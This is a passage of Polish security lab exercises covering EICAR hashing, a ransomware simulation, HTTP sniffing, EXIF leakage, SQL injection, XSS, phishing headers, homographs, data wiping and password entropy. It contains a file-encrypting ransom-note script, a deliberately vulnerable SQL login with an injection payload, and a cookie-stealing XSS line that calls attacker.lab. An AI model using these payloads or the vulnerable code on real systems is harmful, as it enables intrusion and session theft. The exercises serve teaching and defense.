Użytkownik przynosi na pendrive podejrzany załącznik faktura_marzec.exe. Szef działu zabrania go uruchamiać i zabrania wysyłać w całości do obcych serwisów, bo plik może zawierać dane klientów. Jednocześnie trzeba szybko rozstrzygnąć, czy to znane złośliwe oprogramowanie. Twoim zadaniem jest zastosować procedurę bezpieczną i poufną: utworzyć testowy, nieszkodliwy plik EICAR, policzyć jego SHA-256 lokalnie, a potem wyszukać w VirusTotal wyłącznie po skrócie w zakładce SEARCH, bez uploadu treści. Musisz wyjaśnić, dlaczego sam hash wystarczy do identyfikacji sygnaturowej, co oznacza wynik detekcji przez kilkadziesiąt silników i kiedy taki test nie wystarczy, bo plik jest nowy i nieznany w bazie.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce terminal JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub konsolę PowerShell w Windows.
2. W terminalu utwórz standardowy, bezpieczny plik testowy EICAR (oficjalny ciąg testowy instytutu EICAR służący do sprawdzania silników antywirusowych bez szkodliwego kodu):

   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicar.com

3. Oblicz skrót SHA-256 pliku testowego w Linux:

   sha256sum eicar.com

   (W Windows: certutil -hashfile eicar.com SHA256).
4. Zanotuj uzyskany 64-znakowy hash heksadecymalny: 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f.
5. Otwórz w przeglądarce stronę serwisu VirusTotal: virustotal.com.
6. Kliknij zakładkę 'SEARCH' (wyszukiwanie po hashu/IP/domenie) - nie przesyłaj pliku na serwer w zakładce FILE.
7. Wklej skrót SHA-256 do pola wyszukiwania i zatwierdź klawiszem Enter. Bezpośredni adres wyniku ma postać: virustotal.com/gui/file/275a021b.../detection.
8. Przeanalizuj wyniki detekcji: wskaźnik detekcji (np. ponad 60 silników antywirusowych identyfikuje ciąg jako EICAR-Test-File), nazwy sygnatur oraz historię pierwszego zgłoszenia.
9. Wykonaj zrzut ekranu raportu VirusTotal z widocznym hashem SHA-256 i statystyką detekcji.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Weryfikacja pliku po skrócie SHA-256 pozwala sprawdzić jego złośliwy charakter bez konieczności uploadowania treści i bez ryzyka naruszenia poufności danych.
• Plik testowy EICAR stanowi bezpieczny standard walidacji poprawności działania systemów antywirusowych i filtrów pocztowych.
• Osiągnięcie: wyliczenie sumy SHA-256 i skuteczne przeszukanie globalnej bazy reputacyjnej VirusTotal.

Cel

Celem zadania jest praktyczne zrozumienie technicznego mechanizmu ataku ransomware. Student uruchamia kontrolowany skrypt w języku Python, który szyfruje pliki w dedykowanym katalogu testowym, generuje notatkę z żądaniem okupu, a następnie przeprowadza procedurę ratunkową przy użyciu klucza.

Scenariusz

Masz poprowadzić szkolenie dla pracowników, którzy nie wierzą w ransomware, bo nigdy go nie widzieli i myślą, że antywirus wszystko zatrzyma. Zamiast slajdów chcesz pokazać im kontrolowaną symulację w odizolowanym katalogu testowym, żeby zobaczyli, jak szybko dokumenty stają się nieczytelne i pojawia się notatka z żądaniem okupu. Twoim zadaniem jest utworzyć dwa testowe pliki, uruchomić prosty skrypt szyfrujący XOR, pokazać pliki z rozszerzeniem locked i treść README_OKUP, a potem uruchomić skrypt ratunkowy z kluczem i udowodnić odzyskanie. Musisz też wyjaśnić, dlaczego prawdziwy ransomware z AES i RSA nie daje się tak łatwo odwrócić, dlaczego płacenie nie gwarantuje odszyfrowania i dlaczego jedyną obroną jest strategia kopii 3-2-1 z kopią offline.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub lokalne środowisko Python w Windows.
2. W konsoli utwórz katalog laboratoryjny z przykładowymi dokumentami:

   mkdir test_ransom && cd test_ransom
   echo 'Faktura 101: 5000 PLN' > dok1.txt
   echo 'Umowa poufna: Projekt X' > dok2.txt

3. Utwórz skrypt demonstracyjny w Pythonie symulujący szyfrowanie plików za pomocą algorytmu XOR:

   cat << 'EOF' > sim_ransom.py
   import os
   
   KLUCZ = 0x5A  # Klucz symetryczny demonstracyjny
   
   def crypt_file(path):
       with open(path, 'rb') as f: data = f.read()
       encrypted = bytes([b ^ KLUCZ for b in data])
       with open(path + '.locked', 'wb') as f: f.write(encrypted)
       os.remove(path)
   
   for fname in ['dok1.txt', 'dok2.txt']:
       if os.path.exists(fname):
           crypt_file(fname)
   
   with open('README_OKUP.txt', 'w') as f:
       f.write('TWOJE PLIKI ZOSTALY ZASZYFROWANE! Wplac 1 BTC aby otrzymac klucz.')
   print('Symulacja ataku zakonczona. Pliki zablokowane.')
   EOF

4. Uruchom skrypt symulacyjny:

   python3 sim_ransom.py

5. Wypisz zawartość katalogu poleceniem:

   ls -l

   Zauważ powstanie plików dok1.txt.locked, dok2.txt.locked oraz notatki README_OKUP.txt.
6. Sprawdź zawartość zaszyfrowanego pliku: cat dok1.txt.locked. Zauważ, że tekst jest nieczytelnym ciągiem bajtów.
7. Utwórz skrypt ratunkowy przywracający pliki przy użyciu klucza:

   cat << 'EOF' > decrypt.py
   import os
   KLUCZ = 0x5A
   for fname in ['dok1.txt.locked', 'dok2.txt.locked']:
       if os.path.exists(fname):
           with open(fname, 'rb') as f: data = f.read()
           decrypted = bytes([b ^ KLUCZ for b in data])
           orig = fname.replace('.locked', '')
           with open(orig, 'wb') as f: f.write(decrypted)
           os.remove(fname)
   print('Pliki zostaly pomyslnie odszyfrowane.')
   EOF

8. Uruchom skrypt ratunkowy:

   python3 decrypt.py && cat dok1.txt dok2.txt

   Potwierdź pełne odzyskanie danych i wykonaj zrzut ekranu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Atak ransomware polega na masowym, szybkim nałożeniu szyfrowania na pliki użytkownika i usunięciu oryginałów.
• Zapłacenie okupu nie daje gwarancji odzyskania danych - jedynym niezawodnym środkiem obrony jest wdrożenie strategii kopii zapasowych 3-2-1 (w tym kopii niezmiennych / offline).
• Osiągnięcie: praktyczna symulacja cyklu blokowania i odzyskiwania plików po ataku ransomware w Pythonie.

Cel

Celem zadania jest praktyczne zademonstrowanie łatwości podsłuchania poufnych danych logowania przesyłanych otwartym tekstem przez sieć (protokół HTTP). Student analizuje surowy zrzut pakietu sieciowego w narzędziu CyberChef i ekstrahuje login oraz hasło użytkownika.

Scenariusz

Audytujesz sieć WiFi w firmowej stołówce, gdzie magazynierzy logują się do wewnętrznej aplikacji przez zwykłe HTTP. Kierownik twierdzi, że skoro to tylko sieć dla pracowników, to podsłuch nikomu się nie opłaca. W trakcie testu rejestrujesz surowy pakiet POST z logowaniem. Twoim zadaniem jest w CyberChef rozebrać ten pakiet na nagłówki i ciało, zdekodować URL, wyrażeniem regularnym wyciągnąć login i hasło oraz pokazać, że atak pasywny niczego nie modyfikuje, więc ofiara nic nie zauważa. Musisz wyjaśnić, dlaczego w sieci radiowej każdy w zasięgu jest potencjalnym słuchaczem i dlaczego jedynym lekarstwem jest TLS i HTTPS, a nie ukrywanie adresu strony.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce narzędzie CyberChef (gchq.github.io/CyberChef).
2. Wklej do panelu Input surowy fragment przechwyconego zapytania HTTP POST przesłanego jawnym tekstem:
   POST /magazyn/auth.php HTTP/1.1
Host: panel-magazyn.lokalny
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Connection: close

user_login=kierownik_zmiany&user_pass=SuperTajneHaslo2026%21
3. Przeanalizuj strukturę zapytania: nagłówki HTTP oddzielone podwójną nową linią od ciała zapytania (Body).
4. Wyszukaj w CyberChef operację URL Decode i przeciągnij ją do Recipe, aby przekształcić zdekodowany znak '%21' w wykrzyknik '!'.
5. Dodaj do Recipe operację Regular expression (RegEx). Ustaw Built-in regex na User defined, a w polu Regex wpisz: user_pass=([^&\s]+). Ustaw pole Output format na: List capture groups.
6. Odczytaj w panelu Output wyekstrahowane hasło użytkownika: SuperTajneHaslo2026!.
7. Wyczyść Recipe. Przeciągnij operację Extract IP addresses oraz Extract URLs, aby zademonstrować, jak łatwo automatyczne skrypty zbierają metadane z podsłuchanego ruchu.
8. Wykonaj zrzut ekranu z narzędzia CyberChef dokumentujący ujawnienie hasła z niezaszyfrowanego zapytania HTTP.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Protokoły przesyłające dane otwartym tekstem (HTTP, FTP, Telnet, POP3) są całkowicie bezbronne wobec podsłuchu pasywnego (sniffing).
• Atak pasywny nie modyfikuje ruchu, przez co jest niewykrywalny dla ofiary na poziomie aplikacji.
• Jedyną skuteczną metodą eliminacji podsłuchu jest wdrożenie szyfrowania warstwy transportowej TLS (HTTPS) oraz tuneli VPN.
• Osiągnięcie: praktyczna ekstrakcja hasła z podsłuchanego strumienia HTTP w narzędziu CyberChef.

Cel

Celem zadania jest praktyczne zbadanie zagrożenia dla prywatności wynikającego z nieświadomego publikowania metadanych EXIF w plikach graficznych. Student ekstrahuje współrzędne GPS ze zdjęcia i weryfikuje dokładną lokalizację na mapie internetowej.

Scenariusz

Pracownik chwali się w mediach społecznościowych zdjęciem nowej przepustki i biura zarządu. Samo zdjęcie nie pokazuje ulicy ani numeru budynku, więc dział PR uważa sprawę za niegroźną. Ty wiesz, że współczesne telefony dopisują do zdjęcia metadane EXIF z modelem aparatu, datą i współrzędnymi GPS. Twoim zadaniem jest wyciągnąć te metadane w CyberChef lub przeglądarce EXIF, odczytać szerokość i długość geograficzną, przeliczyć je na format dziesiętny i znaleźć pinezkę na OpenStreetMap. Musisz wyjaśnić, że to atak pasywny na metadane, który nie łamie żadnego szyfru, a mimo to zdradza lokalizację tajnego obiektu, oraz jak wprowadzić procedurę czyszczenia metadanych przed publikacją.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce narzędzie CyberChef (gchq.github.io/CyberChef) lub darmowy analizator metadanych online (np. jimpl.com).
2. Pobierz lub przygotuj plik zdjęcia z danymi EXIF (lub użyj przykładowego pliku JPEG z aparatu w smartfonie).
3. W CyberChef przeciągnij plik graficzny do panelu Input (lub użyj operacji Extract EXIF z biblioteki operacji).
4. Przeanalizuj wygenerowaną tabelę metadanych EXIF: zidentyfikuj model urządzenia (Make, Model), czas wykonania zdjęcia (DateTimeOriginal) oraz sekcję GPS.
5. Odczytaj parametry geolokalizacyjne: GPS Latitude (szerokość geograficzna) oraz GPS Longitude (długość geograficzna), np. 52 deg 13' 48.00" N, 21 deg 0' 36.00" E.
6. Przelicz współrzędne na format dziesiętny i wprowadź je do darmowego serwisu mapowego OpenStreetMap (openstreetmap.org). Uwaga: OpenStreetMap nie odczytuje metadanych EXIF - służy wyłącznie do wizualizacji współrzędnych odczytanych wcześniej w CyberChef (np. adresem w postaci openstreetmap.org/?mlat=52.23&mlon=21.01#map=15/52.23/21.01).
7. Zidentyfikuj na mapie dokładny punkt, w którym wykonano fotografię (budynek, ulica, miasto).
8. Wykonaj zrzut ekranu przedstawiający odczytane metadane EXIF w CyberChef oraz pinezkę na mapie OpenStreetMap i zamieść w sprawozdaniu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Metadane (dane o danych) stanowią poważne źródło wycieku informacji prywatnych, zdradzając lokalizację, typ sprzętu, wersję oprogramowania i nawyki użytkownika.
• Analiza metadanych jest techniką pasywną, która nie wymaga przełamywania zabezpieczeń kryptograficznych samego systemu.
• Polityka bezpieczeństwa organizacji musi wymuszać procedurę automatycznego usuwania metadanych (tzw. scrubbing / stripping EXIF) przed publikacją materiałów na zewnątrz.
• Osiągnięcie: ekstrakcja współrzędnych GPS z metadanych fotografii cyfrowej i ich weryfikacja na mapie.

Cel

Celem zadania jest praktyczne zrozumienie mechanizmu ataku SQL Injection (SQLi) na formularz uwierzytelniania. Student bada podatność polegającą na dynamicznym sklejaniu ciągów SQL w języku Python z bazą SQLite, a następnie implementuje skuteczną obronę za pomocą zapytań parametryzowanych.

Scenariusz

Podczas audytu kodu znajdujesz funkcję logowania, która skleja zapytanie SQL z loginem i hasłem wpisanym przez użytkownika wprost w f-stringu. Programista mówi, że skoro sprawdza login i hasło w jednym zapytaniu, to jest bezpiecznie. Ty podejrzewasz klasyczne obejście przez cudzysłów i OR 1=1. Twoim zadaniem jest zbudować w Pythonie z SQLite mini bazę z kontem admina, pokazać logowanie z błędnym hasłem zakończone odmową, potem wstrzyknąć ładunek i pokazać zalogowanie bez znajomości hasła, a na koniec naprawić kod zapytaniem parametryzowanym i udowodnić, że ten sam ładunek już nie przechodzi. Musisz wyjaśnić różnicę między kodem a danymi i dlaczego tylko parametryzacja traktuje wejście użytkownika wyłącznie jako wartość.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub środowisko Python w Windows.
2. Utwórz skrypt weryfikacyjny tworzący bazę w pamięci z kontem administratora:

   cat << 'EOF' > sqli_lab.py
   import sqlite3
   
   conn = sqlite3.connect(':memory:')
   cur = conn.cursor()
   cur.execute('CREATE TABLE users (id INT, login TEXT, pass TEXT)')
   cur.execute("INSERT INTO users VALUES (1, 'admin', 'SuperTrudneHaslo#997')")
   conn.commit()
   
   def login_podatny(u, p):
       # BLEDNE: dynamiczne sklejanie zapytania podatne na SQLi
       sql = f"SELECT login FROM users WHERE login='{u}' AND pass='{p}'"
       print("Wykonywane SQL:", sql)
       res = cur.execute(sql).fetchone()
       return "ZALOGOWANO POMYSLNIE!" if res else "BLAD LOGOWANIA"
   
   # Test normalnego uzytkownika z blednym haslem
   print("1. Test blednego hasla:", login_podatny('admin', 'zle_haslo'))
   
   # Test ataku SQL Injection
   ladunek = "admin' OR '1'='1"
   print("2. Test ataku SQLi:", login_podatny(ladunek, 'cokolwiek'))
   EOF

3. Uruchom skrypt poleceniem:

   python3 sqli_lab.py

4. Przeanalizuj wyjście: zaobserwuj, w jaki sposób ładunek admin' OR '1'='1 zmanipulował logikę zapytania SQL, powodując obejście sprawdzenia hasła i status 'ZALOGOWANO POMYSLNIE!'.
5. Teraz dopisz do skryptu funkcję bezpieczną z zapytaniem parametryzowanym:

   cat << 'EOF' >> sqli_lab.py
   
   def login_bezpieczny(u, p):
       # PRAWIDLOWE: parametryzacja zapytania z uzyciem symboli ?
       sql = "SELECT login FROM users WHERE login=? AND pass=?"
       res = cur.execute(sql, (u, p)).fetchone()
       return "ZALOGOWANO POMYSLNIE!" if res else "BLAD LOGOWANIA"
   
   print("3. Test po naprawie:", login_bezpieczny(ladunek, 'cokolwiek'))
   EOF

6. Uruchom skrypt ponownie:

   python3 sqli_lab.py

   i potwierdź, że po parametryzacji próba ataku kończy się statusem 'BLAD LOGOWANIA'.
7. Wykonaj zrzut ekranu prezentujący wykonanie zapytania przed i po naprawie luki.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Podatność SQL Injection wynika z nieprawidłowego łączenia danych wprowadzanych przez użytkownika z kodem zapytania bazy danych (brak rozróżnienia między kodem a danymi).
• Jedyną w pełni skuteczną metodą neutralizacji SQLi jest stosowanie zapytań parametryzowanych (Prepared Statements), w których silnik bazy danych traktuje dane wejściowe wyłącznie jako wartości literałowe.
• Osiągnięcie: demonstracja obejścia uwierzytelniania przez SQLi oraz implementacja bezpiecznej parametryzacji w Python/SQLite.

Cel

Celem zadania jest praktyczne zbadanie wektora ataku Cross-Site Scripting (XSS) oraz weryfikacja mechanizmu obronnego polegającego na zamianie znaków specjalnych HTML na bezpieczne encje (HTML Entity Encoding) w narzędziu CyberChef.

Scenariusz

Audytujesz forum, na którym komentarze użytkowników trafiają wprost do strony bez filtrowania. Ktoś mógł już wstrzyknąć skrypt kradnący ciasteczka sesyjne, który wykona się w przeglądarce każdego czytelnika. Właściciel forum nie rozumie zagrożenia, bo przecież to tylko tekst w komentarzu. Twoim zadaniem jest wziąć przykładowy ładunek script fetch, pokazać, że przeglądarka potraktowałaby go jako kod, a potem w CyberChef zamienić znaki sterujące na encje HTML i pokazać, że po zamianie przeglądarka wyświetli tekst, ale go nie uruchomi. Musisz wyjaśnić różnicę między stored XSS a zwykłym tekstem oraz rolę flagi HttpOnly i nagłówka CSP jako dodatkowych warstw obrony.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce narzędzie CyberChef (gchq.github.io/CyberChef).
2. Wprowadź w panelu Input przykładowy ładunek ataku XSS kradnący ciasteczka sesyjne użytkownika: <script>fetch('http://attacker.lab/steal?cookie=' + document.cookie);</script>.
3. Zauważ, że jeśli ten tekst zostanie wklejony bez zmian do struktury DOM strony WWW, silnik renderujący przeglądarki potraktuje znacznik <script> jako kod wykonywalny.
4. W lewym panelu CyberChef odszukaj operację To HTML Entity i przeciągnij ją do panelu Recipe.
5. Przeanalizuj wynik w panelu Output: <script>fetch('http://attacker.lab/steal?cookie=' + document.cookie);</script>.
6. Zauważ zamianę kluczowych znaków sterujących: '<' na '&lt;', '>' na '&gt;', pojedynczego cudzysłowu na '&#39;'.
7. Wyjaśnij mechanizm obrony: gdy przeglądarka napotka ciąg '&lt;script&gt;', wyświetli na ekranie tekst '<script>', lecz NIE uruchomi go jako interpretowanego kodu JavaScript.
8. Wykonaj zrzut ekranu w CyberChef prezentujący transformację ładunku XSS do bezpiecznych encji HTML.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Podatność XSS (Cross-Site Scripting) pozwala atakującemu na wykonanie nieautoryzowanego kodu JavaScript w kontekście sesji ofiary, co umożliwia kradzież tokenów sesyjnych (Session Hijacking).
• Kodowanie znaków wyjściowych (Context-aware Output Encoding / HTML Entity Encoding) stanowi fundamentalną regułę obrony przed XSS.
• Osiągnięcie: demonstracja przekształcenia szkodliwego ładunku XSS w bezpieczną reprezentację tekstową za pomocą encji HTML.

Cel

Celem zadania jest praktyczne przeprowadzenie inspekcji technicznej podejrzanej wiadomości e-mail. Student analizuje surowe nagłówki internetowe w narzędziu Message Header Analyzer w celu wykrycia fałszerstwa tożsamości nadawcy i braku autoryzacji serwera pocztowego.

Scenariusz

Księgowość dostaje maila podpisanego jako prezes z poleceniem pilnego przelewu 250 tysięcy na poufne inwestycje i zakazem kontaktowania się z kimkolwiek. Presja czasu i autorytet prezesa aż proszą o szybkie kliknięcie wyślij przelew. Ty jako analityk masz studzić emocje techniką: zajrzeć w surowe nagłówki, których zwykły użytkownik nie widzi. Twoim zadaniem jest wkleić nagłówek do analizatora MHA, pokazać prawdziwy serwer nadawcy i adres IP, rozjazd między polem From a Return-Path oraz wynik SPF SoftFail i brak DKIM. Musisz wyjaśnić, dlaczego sam protokół SMTP nie chroni przed podszyciem i jak rekordy SPF, DKIM i DMARC pozwalają odróżnić prawdziwego prezesa od oszusta, zanim pieniądze wyjdą z firmy.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce darmowe narzędzie analityczne: Microsoft Message Header Analyzer (mha.azurewebsites.net) lub Google Admin Toolbox Messageheader (toolbox.googleapps.com/apps/messageheader/).
2. Skopiuj przygotowany przykładowy surowy nagłówek phishingowej wiadomości pocztowej:

   Received: from mail.hacker-server.net (unknown [198.51.100.24])
       by poczta.twoja-firma.pl with ESMTP id 89ABCDEF
       for <ksiegowosc@twoja-firma.pl>; Wed, 07 Oct 2026 09:12:00 +0200
   Return-Path: <scammer@evil-domain.com>
   From: "Jan Nowak - Prezes" <prezes@twoja-firma.pl>
   To: <ksiegowosc@twoja-firma.pl>
   Subject: PILNE: Poufny przelew srodkow inwestycyjnych
   Date: Wed, 07 Oct 2026 09:11:45 +0200
   Received-SPF: SoftFail (poczta.twoja-firma.pl: domain of transitioning prezes@twoja-firma.pl does not designate 198.51.100.24 as permitted sender)
   Authentication-Results: poczta.twoja-firma.pl; spf=softfail; dkim=none
   Message-ID: <123456789@evil-domain.com>

3. Wklej nagłówek do okna analizatora i kliknij 'Analyze headers'.
4. Przeanalizuj tabelę przeskoków sieciowych (Hops): wskaż rzeczywisty adres IP serwera nadawczego (198.51.100.24) oraz jego nazwę domenową (mail.hacker-server.net).
5. Zidentyfikuj jawną rozbieżność tożsamości: w polu From widnieje prezes@twoja-firma.pl, natomiast w polu Return-Path znajduje się scammer@evil-domain.com.
6. Sprawdź status weryfikacji rekordu SPF: SoftFail (lub Fail), co oznacza, że serwer nadawcy nie jest uprawniony do wysyłania poczty w imieniu domeny twoja-firma.pl.
7. Odnotuj brak podpisu kryptograficznego DKIM (dkim=none).
8. Wykonaj zrzut ekranu z analizatora z zaznaczonymi wskaźnikami fałszerstwa i dołącz do sprawozdania.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Protokół SMTP sam w sobie nie weryfikuje tożsamości nadawcy - pole 'From' wyświetlane w programie pocztowym może być dowolnie sfałszowane przez nadawcę.
• Dopiero analiza nagłówków technicznych (Received, Return-Path, SPF, DKIM, DMARC) ujawnia rzeczywisty serwer źródłowy i próby podszywania się pod kierownictwo.
• Osiągnięcie: praktyczna weryfikacja fałszerstwa pocztowego w narzędziu Message Header Analyzer.

Cel

Celem zadania jest praktyczne zbadanie techniki manipulacji domenami internetowymi polegającej na wykorzystaniu znaków o identycznym wyglądzie z różnych alfabetów (atak homograficzny). Student konwertuje podejrzaną domenę do postaci Punycode w narzędziu CyberChef i demaskuje fałszerstwo.

Scenariusz

Finanse dostają fakturę z domeny łudząco podobnej do bank-pko.pl. Na ekranie wszystko wygląda normalnie, ale podejrzewasz atak homograficzny, w którym jedna litera została podmieniona na cyrylicką o identycznym kształcie. Ludzkie oko tego nie wychwyci, komputer już tak. Twoim zadaniem jest wkleić podejrzaną domenę do CyberChef, zamienić ją na Punycode z przedrostkiem xn i pokazać, że w środku siedzi obcy znak spoza ASCII. Masz też porównać heksadecymalnie łacińskie a jako jeden bajt 61 z cyrylickim a jako dwa bajty d0 b0 i wyjaśnić, dlaczego filtry pocztowe i przeglądarki muszą demaskować takie domeny, a pracownicy weryfikować numer konta kanałem poza mailowym.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce narzędzie CyberChef (gchq.github.io/CyberChef).
2. Przygotuj ciąg nazwy domeny z literą 'a' podmienioną na cyrylicką literę 'а' (kod Unicode U+0430 zamiast łacińskiego U+0061): wpisz w Input: bаnk-pko.pl.
3. Zwróć uwagę, że na ekranie komputera litera wygląda dokładnie tak samo jak zwykłe łacińskie 'a'.
4. W lewym panelu CyberChef odszukaj operację To Punycode i przeciągnij ją do Recipe.
5. Odczytaj wygenerowany ciąg w panelu Output: xn--bnk-pko-2fg.pl.
6. Zwróć uwagę na przedrostek 'xn--', który oznacza międzynarodową nazwę domenową IDN zapisaną w formacie Punycode.
7. Wyczyść Recipe. Przeciągnij operację From Punycode i wklej xn--bnk-pko-2fg.pl do Input, aby zweryfikować odwracalność przekształcenia.
8. Dodaj do Recipe operację To Hex i sprawdź kody bajtowe: cyryliczne 'а' ma postać heksadecymalną d0 b0 (2 bajty UTF-8), podczas gdy łacińskie 'a' to pojedynczy bajt 61.
9. Wykonaj zrzut ekranu w CyberChef dokumentujący demaskację domeny homograficznej.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Atak homograficzny (IDN Homograph Attack) wykorzystuje fakt, że różne znaki w standardzie Unicode mają identyczny wygląd graficzny (glif), lecz odmienne kody binarne.
• Konwersja do formatu Punycode (przedrostek xn--) ujawnia obecność znaków spoza podstawowego alfabetu ASCII i pozwala zdemaskować domeny rejestrowane przez przestępców.
• Osiągnięcie: praktyczna demaskacja domeny podszywającej się za pomocą konwersji do Punycode i analizy heksadecymalnej w CyberChef.

Cel

Celem zadania jest praktyczne zrozumienie różnicy między standardowym usunięciem pliku w systemie operacyjnym (usunięcie wpisu w tablicy alokacji) a bezpowrotnym zniszczeniem danych poprzez wielokrotne nadpisanie sektorów losowymi danymi.

Scenariusz

Wycofujesz stary komputer z bazy klientów. Ktoś proponuje po prostu usunąć pliki do kosza i opróżnić kosz, bo przecież zniknęły z eksploratora. Ty wiesz, że rm kasuje tylko wpis w systemie plików, a treść dalej leży na dysku do odzyskania programem forensicznym. Twoim zadaniem jest pokazać różnicę: utworzyć plik z kodami dostępu, podejrzeć go hexdumpem, nadpisać go losowymi bajtami z dev urandom komendą dd i ponownie podejrzeć hexdumpem, żeby udowodnić, że tekst zamienił się w szum. Dopiero potem kasujesz plik. Musisz wyjaśnić poziomy sanitacji według NIST, od nadpisywania po demagnetyzację i mielenie, oraz kiedy samo nadpisanie wystarczy, a kiedy nośnik trzeba zniszczyć fizycznie.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator terminala JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256).
2. Utwórz plik zawierający tajne dane firmy:

   echo 'KODY_DOSTEPU_DO_SEJFU_PRODUKCYJNEGO: 998877665544' > tajne_hasla.txt

3. Wyświetl zawartość pliku w podglądzie heksadecymalnym przed zniszczeniem:

   hexdump -C tajne_hasla.txt

   Jeśli emulator zgłosi hexdump: not found, użyj zamiennika:

   xxd tajne_hasla.txt | head -n 5
   od -A x -t x1z tajne_hasla.txt | head -n 5

4. Sprawdź dokładny rozmiar pliku w bajtach i zapisz go:

   wc -c tajne_hasla.txt
   ROZMIAR=$(wc -c < tajne_hasla.txt | tr -d ' '); echo $ROZMIAR

5. Nadpisz plik losowymi bajtami z /dev/urandom dokładnie na jego długość (bez conv=notrunc plik zostałby skrócony, z nim nadpisujemy w miejscu). Nie wpisuj sztywnego count=60 - rozmiar pliku to ok. 50 B, więc użyj zmierzonej wartości:

   dd if=/dev/urandom of=tajne_hasla.txt bs=1 count=$ROZMIAR conv=notrunc status=none; echo 'nadpisano'; ls -l tajne_hasla.txt

   Uwaga: bs=1 jest wolne w emulatorze, ale przy ~50 B to ułamek sekundy. Szybszy zamiennik: dd if=/dev/urandom of=tajne_hasla.txt bs=$ROZMIAR count=1 conv=notrunc status=none. Jeśli masz shred, możesz też pokazać: shred -n 1 -z tajne_hasla.txt; ls -l tajne_hasla.txt - ale wynikowy plik i tak usuń w kolejnym kroku.
6. Sprawdź ponownie zawartość pliku narzędziem hexdump:

   hexdump -C tajne_hasla.txt

7. Zauważ: oryginalny tekst z kodami dostępu został bezpowrotnie zastąpiony losowym szumem bajtowym.
8. Dopiero teraz usuń plik z systemu plików:

   rm tajne_hasla.txt

   Wykonaj zrzut ekranu prezentujący podgląd heksadecymalny przed i po wykonaniu polecenia dd.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Polecenie rm w systemach uniksowych usuwa jedynie wskaźnik do węzła i-węzła (inode), pozostawiając treść pliku na blokach dyskowych aż do momentu ich nadpisania.
• Prawidłowe niszczenie informacji wrażliwych (zgodne z normami sanitacji danych NIST SP 800-88) wymaga fizycznego nadpisania bloków wzorcami losowymi lub zerami.
• Osiągnięcie: praktyczna realizacja procedury bezpowrotnego niszczenia danych (data wiping) przy użyciu generatora /dev/urandom i polecenia dd.

Cel

Celem zadania jest praktyczne porównanie odporności na atak siłowy (Brute Force) krótkiego hasła o dużej złożoności znaków z długą frazą hasłową (Passphrase). Student implementuje skrypt w języku Python wyliczający przestrzeń kombinacji oraz entropię bitową.

Scenariusz

Firma zmusza pracowników do haseł w stylu Tr0k!9a: krótkich, skomplikowanych i zmienianych co miesiąc. Efekt jest odwrotny, bo ludzie zapisują je na żółtych karteczkach przy monitorze. Chcesz przekonać administratora do fraz wielowyrazowych, które łatwo zapamiętać, a trudno złamać. Twoim zadaniem jest napisać krótki skrypt liczący przestrzeń kombinacji i entropię Shannona oraz szacujący czas brute force przy klastrze GPU. Musisz porównać 8-znakowe hasło z alfabetu 94 znaków z 26-znakową frazą z samych małych liter, pokazać około 52 bity kontra ponad 122 bity i przełożyć to na dni kontra miliony lat łamania. Od Twojego wykresu zależy zmiana polityki na zgodną z wytycznymi NIST i menedżerami haseł.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub konsolę Python w Windows.
2. Utwórz skrypt obliczający przestrzeń wariantów i entropię Shannona:

   cat << 'EOF' > entropia.py
   import math
   
   def analiza_hasla(nazwa, haslo, rozmiar_alfabetu):
       dlugosc = len(haslo)
       przestrzen = pow(rozmiar_alfabetu, dlugosc)
       entropia = dlugosc * math.log2(rozmiar_alfabetu)
       
       # Szacowany czas lamania przy 10 miliardach prob na sekunde (klaster GPU)
       sekundy = przestrzen / 1e10
       dni = sekundy / 86400
       lata = dni / 365
       
       print(f"=== {nazwa} ===")
